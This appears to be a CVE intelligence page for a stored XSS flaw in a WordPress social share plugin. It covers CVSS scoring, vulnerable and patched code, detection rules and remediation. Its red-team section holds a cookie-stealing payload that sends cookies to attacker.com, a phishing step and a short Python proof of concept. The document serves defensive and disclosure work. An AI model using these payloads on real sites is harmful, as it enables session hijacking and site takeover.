☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-11189

CVE-2024-11189 Cross-Site Scripting in Social share and social locker
📅 PUBLISHED: 2025-05-15 20:06 UTC 🔄 UPDATED: 2026-08-13 10:06 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: H Privileges Required High
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-11189 is a Stored Cross-Site Scripting (XSS) vulnerability in the Social Share And Social Locker WordPress plugin, affecting versions prior to 1.4.2. This flaw allows high-privilege users, such as administrators, to inject arbitrary web scripts into plugin settings. The injected scripts are stored and executed when other users (including lower-privileged users) view the affected settings page, leading to potential session hijacking, data theft, or further compromise of the WordPress site. The vulnerability is particularly dangerous in multisite configurations where the unfiltered_html capability is disallowed, as it bypasses standard WordPress sanitization.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users are advised to verify the integrity of the plugin update (version 1.4.2) by checking the plugin’s checksum or signature if provided by the vendor. No known supply chain compromise has been reported for this specific CVE.

CVSS Breakdown & Threat Level

  • CVSS Score: 4.8 (Medium)
  • Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
  • Attack Vector: Network
  • Attack Complexity: Low
  • Privileges Required: High (Admin)
  • User Interaction: Required (Victim must view the settings page)
  • Scope: Changed (Impact may extend to other components)
  • Confidentiality Impact: Low
  • Integrity Impact: Low
  • Availability Impact: None

Threat Level: Medium. Exploitation requires admin-level access, but the stored XSS can affect all users viewing the settings, including super admins in multisite.

Deep Dive & Mechanics

The vulnerability exists in the plugin’s settings page where user-supplied input (e.g., social share button labels, locker messages) is not properly sanitized or escaped before being stored in the WordPress database. When an admin saves these settings, the malicious script is stored. Subsequently, when any user (including lower-privileged users) navigates to the plugin’s settings page, the stored script executes in their browser context.

Root Cause: The plugin uses update_option() to store settings without applying sanitize_text_field() or wp_kses() to filter out JavaScript. The output is then rendered using echo or esc_html() incorrectly, allowing script tags to persist.

Attack Flow:

  1. Attacker with admin privileges navigates to the plugin settings.
  2. Injects a payload like <script>alert('XSS')</script> into a text field (e.g., "Share Button Text").
  3. Saves the settings; payload is stored in wp_options.
  4. Victim (any user with access to the settings page) loads the page.
  5. Payload executes, potentially stealing cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (version < 1.4.2):

// In settings page rendering
echo '<input type="text" name="social_share_text" value="' . get_option('social_share_text') . '" />';

The value is output directly without escaping.

Patched Code (version 1.4.2):

// In settings page rendering
echo '<input type="text" name="social_share_text" value="' . esc_attr(get_option('social_share_text')) . '" />';

The esc_attr() function escapes the output, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

  1. Prerequisites: Admin credentials to the WordPress site.
  2. Steps:
    • Log in as admin.
    • Navigate to Settings > Social Share And Social Locker.
    • In the "Share Button Text" field, enter: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>.
    • Save settings.
    • Craft a phishing link to the settings page and send to a target admin.
    • When the target views the page, the script executes and exfiltrates cookies.

Proof-of-Concept (PoC) Code:

import requests

target_url = "http://target.com/wp-admin/options-general.php?page=social-share-locker"
admin_session = {"wordpress_logged_in": "admin_session_cookie"}

payload = {
    "social_share_text": "<script>alert('XSS')</script>",
    "submit": "Save Changes"
}

response = requests.post(target_url, cookies=admin_session, data=payload)
if response.status_code == 200:
    print("Payload stored successfully")

Blue Team (Detection & Hardening)

  • Detection: Monitor for unusual changes to wp_options table entries containing social_share prefix.
  • Hardening:
    • Restrict admin access to trusted users only.
    • Implement Web Application Firewall (WAF) rules to block script tags in plugin settings.
    • Use WordPress security plugins that monitor file integrity and option changes.

Indicators of Compromise (IOCs)

  • File: /wp-content/plugins/social-share-and-social-locker/ (check for modified files)
  • Database: wp_options table entries with social_share prefix containing <script> tags.
  • Network: Outbound connections to unknown domains from admin pages.
  • Logs: WordPress debug log entries showing wp_options updates with suspicious values.

Detection Engineering

YARA Rule

rule CVE_2024_11189_Stored_XSS {
    meta:
        description = "Detects stored XSS payload in Social Share And Social Locker plugin settings"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11189"
    strings:
        $payload = /<script[^>]*>.*<\/script>/i
        $option_name = "social_share"
    condition:
        $option_name and $payload
}

Sigma Rule

title: Stored XSS in Social Share And Social Locker Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payload in WordPress options table
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: wordpress
detection:
    selection:
        EventID: 1000
        ObjectName|contains: "social_share"
        ObjectValue|contains|all:
            - "<script"
            - "</script>"
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in settings (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11189 Stored XSS Payload Exfiltration"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/options-general.php"; http_uri; content:"social_share_text"; http_client_body; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Upgrade the plugin to version 1.4.2 or later.
  2. Workaround: If upgrade is not possible, restrict admin access to trusted users and disable the plugin in multisite environments.
  3. Long-term: Implement a WordPress security policy that requires all plugins to use esc_attr(), esc_html(), and wp_kses() for output.
  4. Monitoring: Enable WordPress audit logging to track changes to plugin settings.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.html:"social-share-and-social-locker"
http.html:"wp-content/plugins/social-share-and-social-locker"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-11189/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.